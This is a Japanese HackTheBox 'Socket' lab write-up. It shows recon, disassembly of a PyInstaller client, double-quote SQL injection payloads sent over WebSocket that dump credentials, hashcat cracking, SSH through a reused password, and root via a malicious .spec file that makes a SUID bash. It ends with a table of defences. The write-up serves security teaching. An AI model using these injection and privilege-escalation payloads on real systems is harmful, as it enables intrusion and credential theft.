HackTheBox: Socket — 全実行コマンド・実行結果レポート
Nmap全ポート
port 5789 (websockets) 発見
→
port 5789 (websockets) 発見
デスクトップクライアント
取得+逆アセンブル
→
取得+逆アセンブル
WebSocketプロトコル解明
pathはURL自体に付与
→
pathはURL自体に付与
ダブルクォートSQLi
UNION SELECT
→
UNION SELECT
admin MD5窃取
→hashcatクラック
→
→hashcatクラック
tkeller SSH
user.txt ✓
→
user.txt ✓
悪性.spec
+ sudo build-installer.sh
→
+ sudo build-installer.sh
SUID rootbash → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -sV -sC -p 22,80 10.129.228.216
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 80/tcp open http Apache httpd 2.4.52 |_http-title: Did not follow redirect to http://qreader.htb/
BASH
# /etc/hosts に追記 echo "10.129.228.216 qreader.htb" | sudo tee -a /etc/hosts
全ポートスキャンで追加ポート発見
BASH
nmap -Pn -p- --min-rate 1000 -T4 10.129.228.216 nmap -sV -p 5789 10.129.228.216
RESULT
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 5789/tcp open unknown 5789/tcp open http websockets 10.4 (Python 3.10) |_http-server-header: Python/3.10 websockets/10.4
🚨
重要発見: port 5789 は Python
websockets
ライブラリによる独自 WebSocket サーバー。素の HTTP リクエストは
426 Failed to open a WebSocket connection を返すため、
正規のクライアントがどのようなプロトコルで通信しているかを
知る必要がある。
PHASE 2
デスクトップクライアント取得 & 逆アセンブル
クライアントアプリのダウンロードと展開
BASH
curl -s http://qreader.htb/download/linux -o QReader_lin.zip unzip QReader_lin.zip -d extracted file extracted/app/qreader
RESULT
extracted/app/qreader: ELF 64-bit LSB executable, x86-64, ... stripped
(108,587,072 bytes — PyInstaller onefile バンドル)
pyinstxtractor でメインスクリプトを抽出
BASH
# Kali標準搭載ではないため取得する curl -sL "https://raw.githubusercontent.com/extremecoders-re/pyinstxtractor/master/pyinstxtractor.py" \ -o pyinstxtractor.py python3 pyinstxtractor.py extracted/app/qreader
RESULT
[+] Python version: 3.10
[+] Found 305 files in CArchive
[+] Possible entry point: qreader.pyc
[!] Warning: This script is running in a different Python version
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: qreader
⚠️
実機トラブルシューティング: Kali の Python は 3.13
だが対象は 3.10 バイトコードのため、
uncompyle6/
decompyle3 は Python 3.10 を公式非対応で
Unsupported Python version エラーになる。
pip install xdis decompyle3 の xdis
パッケージが提供する pydisasm コマンドは 3.10 の
オペコード表を正しく解釈でき、3.13 ホストからでも正確な
逆アセンブルが可能。
BASH
pip install --break-system-packages xdis decompyle3 pydisasm qreader_extracted/qreader.pyc > qreader_disasm.txt
ws_connect / version 関数のバイトコード解読
PYTHON (バイトコードから手動復元したロジック)
# ws_connect(url, msg):
async def ws_connect(url, msg):
async with websockets.connect(url) as websocket:
await websocket.send(msg)
return await websocket.recv()
# MyGUI.version(self): ← "actionVersion" ボタンのハンドラ
def version(self):
response = asyncio.run(
ws_connect(ws_host + "/version", # ← パスはURLに連結!
json.dumps({"version": VERSION}))
)
data = json.loads(response)
...
🚨
最重要発見:
"path" は JSON
メッセージのフィールドではなく、
ws_host + "/version" のように
WebSocket 接続 URL 自体に連結されている。
これに気づくまで {"path": "/version", ...} という
形式で何度テストしても、サーバーは常に「利用可能パス一覧」の
汎用応答しか返さなかった。
PHASE 3
正しいプロトコルでの疎通確認
正しい接続方式での動作確認
PYTHON
import asyncio, websockets, json
async def test(path, payload):
async with websockets.connect(f"ws://ws.qreader.htb:5789{path}") as ws:
await ws.send(json.dumps(payload))
print(await ws.recv())
asyncio.run(test("/version", {"version": "0.0.2"}))
RESULT
{"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}
✅
接続URLに
/version パスを付けることで、期待通りの
バージョン情報 (DBレコードらしき id 付き) が返る
ことを確認。誤ったパス (例: /admin) を試すと
以下のように利用可能パスの一覧が返る。
RESULT (誤ったパスの場合)
{"paths": {"/update": "Check for updates", "/version": "Get version information"}}
PHASE 4
ダブルクォートSQLインジェクション → user.txt
シングルクォートでは検出できない — ダブルクォートで脱出確認
NOTE
まずシングルクォート ' で脱出を試みたが、以下は全て "Invalid version!" となり SQLi の兆候が見えなかった: 0.0.2' 0.0.2' OR '1'='1 0.0.2' AND SLEEP(3)-- - (タイムベースも遅延なし) しかし version=0.0.2 に加えて version=0.0.1 も正規のレコードと 判明した後、"部分マッチではなく完全一致" を再確認する過程で ダブルクォートを試したところ挙動が変わることを発見した。
PYTHON (脱出確認)
await test("/version", {"version": '0.0.2" OR "1"="1'})
RESULT
{"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}
(3回再現テストしても毎回同じ結果 → 偶然ではなく確実な脱出成功)
🚨
SQLインジェクション確認! バックエンドは SQLite で
WHERE version = "{version}" のように
ダブルクォートで文字列補間している
(SQLite はカラム名解決に失敗した二重引用符トークンを文字列
リテラルとして緩く解釈する仕様を利用)。
UNION SELECT でカラム数・DBエンジンを特定
PYTHON
await test("/version", {"version": 'nonexistent" UNION SELECT 1,2,3,4-- -'})
await test("/version", {"version": 'nonexistent" UNION SELECT sqlite_version(),2,3,4-- -'})
RESULT
{"message": {"id": 1, "version": 2, "released_date": 3, "downloads": 4}}
{"message": {"id": "3.37.2", "version": 2, "released_date": 3, "downloads": 4}}
ℹ️
4カラム (id, version, released_date, downloads) で UNION が
成立し、
message.id に1カラム目の値がそのまま
返ることを確認。SQLite 3.37.2。
テーブル列挙 & usersテーブルからの資格情報窃取
PYTHON
await test("/version", {"version":
'nonexistent" UNION SELECT GROUP_CONCAT(name),2,3,4 '
'FROM sqlite_master WHERE type="table"-- -'})
RESULT
{"message": {"id": "sqlite_sequence,versions,users,info,reports,answers", ...}}
PYTHON (usersテーブルダンプ)
await test("/version", {"version":
'nonexistent" UNION SELECT '
'GROUP_CONCAT(username||\':\'||password||\':\'||role,\'|\'),2,3,4 '
'FROM users-- -'})
RESULT
{"message": {"id": "admin:0c090c365fa0559b151a43e0fea39710:admin", ...}}
⚠️
実機トラブルシューティング (mixin実装時):
UNION SELECT <式>,2,3,4 FROM <テーブル>-- -
の組立てで、FROM句を「抽出したい式」の変数に含めたまま末尾に
,2,3,4 を追加すると
... FROM users,2,3,4-- - という不正な複数テーブル
指定になり SQL構文エラーで接続が切断される。FROM句は必ず
4カラム全ての後ろに置くこと。
サポート回答署名からSSHユーザー名を特定 & hashcatクラック
PYTHON
await test("/version", {"version":
'nonexistent" UNION SELECT GROUP_CONCAT(answer,\'|\'),2,3,4 '
'FROM answers-- -'})
RESULT (抜粋)
"Hello Mike, ... So we suggest you to stick with ascii printable
characters for now!
Thomas Keller"
ℹ️
サポート回答の署名 “Thomas Keller” から、Linux の SSH
ユーザー名は姓名の頭文字を組み合わせた
tkeller
だと推測 (よくある命名規則)。
BASH
echo -n "0c090c365fa0559b151a43e0fea39710" > hash.txt hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt --potfile-disable
RESULT
0c090c365fa0559b151a43e0fea39710:denjanjade122566
BASH
sshpass -p 'denjanjade122566' ssh tkeller@10.129.228.216 "cat ~/user.txt"
RESULT
1ea23ba6daedbef2ab5de6f88c06d2d3
✅
Web アプリの admin アカウントと Linux ユーザー
tkeller でパスワードが再利用されて
おり、そのまま SSH ログインに成功。
user.txt — tkeller@socket
1ea23ba6daedbef2ab5de6f88c06d2d3
PHASE 5
build-installer.sh の .spec ファイル悪用 → root.txt
sudo権限の確認
BASH
sudo -l
RESULT
User tkeller may run the following commands on socket:
(ALL : ALL) NOPASSWD: /usr/local/sbin/build-installer.sh
BASH
cat /usr/local/sbin/build-installer.sh
RESULT (抜粋)
if [[ $action == 'build' ]]; then
if [[ $ext == 'spec' ]] ; then
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/home/svc/.local/bin/pyinstaller $name
/usr/bin/mv ./dist ./build /opt/shared
...
🚨
脆弱性の核心:
build アクションは
指定した .spec ファイルをそのまま pyinstaller
に渡す。PyInstaller の .spec ファイルの実体は Python
コードであり、pyinstaller はこれを exec() して
ビルド手順として実行する。このスクリプト自体が
sudo で root 権限で起動されるため、渡した .spec
ファイル内の任意 Python コードが root 権限で実行される。
悪性 .spec ファイルの作成と実行
PYTHON (evil.spec)
import os
os.system('cp /bin/bash /tmp/rootbash; chmod u+s /tmp/rootbash')
BASH
cd /tmp
cat > evil.spec << 'EOF'
import os
os.system('cp /bin/bash /tmp/rootbash; chmod u+s /tmp/rootbash')
EOF
sudo /usr/local/sbin/build-installer.sh build /tmp/evil.spec
RESULT
788 INFO: PyInstaller: 5.6.2 788 INFO: Python: 3.10.6 790 INFO: Platform: Linux-5.15.0-67-generic-x86_64-with-glibc2.35 796 INFO: UPX is not available.
ℹ️
if [[ -L $name ]]; then echo 'Symlinks are not allowed';
fi というシンボリックリンク対策はあるが、ファイル
の中身の検証は一切ないため通常の実ファイルとして
配置すれば無条件に通過する。
SUID rootbash 経由で root.txt 取得
BASH
test -u /tmp/rootbash && echo SUID_OK /tmp/rootbash -p -c 'cat /root/root.txt'
RESULT
SUID_OK b0e302f4690600ecdc6eb8b626e35b02
root.txt — root@socket
b0e302f4690600ecdc6eb8b626e35b02
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — tkeller@socket
1ea23ba6daedbef2ab5de6f88c06d2d3
root.txt — root@socket
b0e302f4690600ecdc6eb8b626e35b02
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| クライアントバイナリの平文プロトコル解析 | QReader デスクトップクライアント (PyInstaller onefile) | 非公開プロトコル仕様の漏洩 | Medium | pyinstxtractor + xdis/pydisasmでPython 3.10バイトコードを逆アセンブルしWebSocketプロトコルを解明 |
| SQLインジェクション (ダブルクォート文字列補間) | ws.qreader.htb:5789 /version エンドポイント | データベース内容の全窃取 | Critical | versionフィールドの二重引用符脱出でUNION SELECTによる任意テーブルダンプ |
| パスワード再利用 | Webアプリ admin ⇔ Linux SSH tkeller | 横展開・初期アクセス | High | MD5ハッシュをhashcatでクラックしたパスワードがそのままLinuxユーザーでも通用 |
| .spec ファイル経由の任意コード実行 | /usr/local/sbin/build-installer.sh (sudo NOPASSWD) | 権限昇格 (tkeller→root) | Critical | PyInstallerの.specファイルはexec()されるPythonコードであることを悪用しroot権限で任意コマンド実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | 全ポートnmapスキャン | port 5789 (websockets) 発見 |
| 2 | クライアント解析 | pyinstxtractor + xdis/pydisasm | WebSocketプロトコル仕様 (URLパス+JSON) |
| 3 | プロトコル確認 | 正しい接続方式でのテスト | /version, /update エンドポイント動作確認 |
| 4 | SQLi | ダブルクォート脱出 + UNION SELECT | user.txt (tkeller、パスワード再利用) |
| 5 | 権限昇格 | .spec ファイル経由 exec() | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| デスクトップクライアントがWebSocketプロトコルの詳細を実行ファイルに含めている | クライアント側に埋め込むプロトコル定義を最小化し、コード難読化やサーバー側での厳格な入力検証を別途実装する(クライアント秘匿には限界がある前提で設計する)。 |
| SQLクエリの文字列補間 (パラメータ化されていない) | 必ずプレースホルダ (`?` や `:name`) を使ったパラメータ化クエリを使用し、文字列連結・f-stringでのSQL組み立てを禁止する。 |
| アプリケーションアカウントとOSアカウントでパスワードを共有 | Webアプリの認証情報とOSレベルの認証情報を完全に分離する。パスワードマネージャーやSSH鍵認証の導入を推奨する。 |
| sudoで許可したビルドツールが任意のPythonコード実行を許してしまう | PyInstallerのようなビルドツールをsudoで一般ユーザーに開放しない。どうしても必要な場合は入力ファイルの内容を厳格にサニタイズ・検証するか、専用の低権限ビルドユーザー/コンテナに隔離する。 |

